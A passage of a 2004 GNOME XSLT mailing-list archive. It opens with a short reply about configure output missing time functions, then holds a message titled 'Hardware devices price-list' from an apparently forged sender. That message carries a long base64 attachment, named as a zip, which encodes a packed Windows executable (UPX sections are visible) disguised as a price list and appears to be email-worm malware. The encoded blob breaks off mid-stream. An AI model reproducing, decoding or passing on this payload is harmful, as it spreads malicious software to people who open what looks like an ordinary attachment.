FILETIME=[9F8DF630:01C3FD39] Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: Hi, >The configure scripts have to fine time, localtime, and gmtime=20 >in order for=20 >the code to determine the current time. Check the output of=20 >configure to see=20 >why you are missing one or more of these. The relevant code is in=20 >libexslt/date.c. Ok, I think you've shown what the problem is : checking for gettimeofday... no checking for mktime... no checking for localtime... no checking for asctime... no checking for time... no checking for gmtime... no checking for ftime... yes The machine is not properly configured. Thanks a lot! Bruno Verachten. From aleksey@aleksey.com Fri Feb 27 17:46:59 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from ajanotti (ajanotti.nrel.gov [192.174.59.87]) by mail.gnome.org (Postfix) with SMTP id 7659418271 for ; Fri, 27 Feb 2004 17:46:59 -0500 (EST) Date: Fri, 27 Feb 2004 15:46:58 -0700 To: xslt@gnome.org From: aleksey@aleksey.com Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--------nkdlexcforlnfhqmmsol" Subject: [xslt] Hardware devices price-list Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: ----------nkdlexcforlnfhqmmsol Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit ----------nkdlexcforlnfhqmmsol Content-Type: application/octet-stream; name="bcbdcbdbbb.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="caba.zip" UEsDBAoAAAAAAAB9WzBKH8ydAD4AAAA+AAAMAAAAeGhsaGt1a2UuZXhlTVqQAAMAAAAEAAAA //8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA2AAAAA4f ug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0K JAAAAAAAAADEoj5LgMNQGIDDUBiAw1AYgMNQGIPDUBgO3EMYr8NQGGjcVRiBw1AYfONCGIHD UBhHxVYYgcNQGFJpY2iAw1AYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUEUAAEwBAwBCRUBA AAAAAAAAAADgAA8BCwEFDABAAAAAEAAAAHAAALCwAAAAgAAAAMAAAAAAQAAAEAAAAAIAAAQA AAAAAAAABAAAAAAAAAAA0AAAABAAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAA AAAAAAAAAACkwwAAFAEAAADAAACkAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAABVUFgwAAAAAABwAAAAEAAAAAAAAAAEAAAAAAAAAAAAAAAA AACAAADgVVBYMQAAAAAAQAAAAIAAAAA0AAAABAAAAAAAAAAAAAAAAAAAQAAA4C5yc3JjAAAA ABAAAADAAAAABgAAADgAAAAAAAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 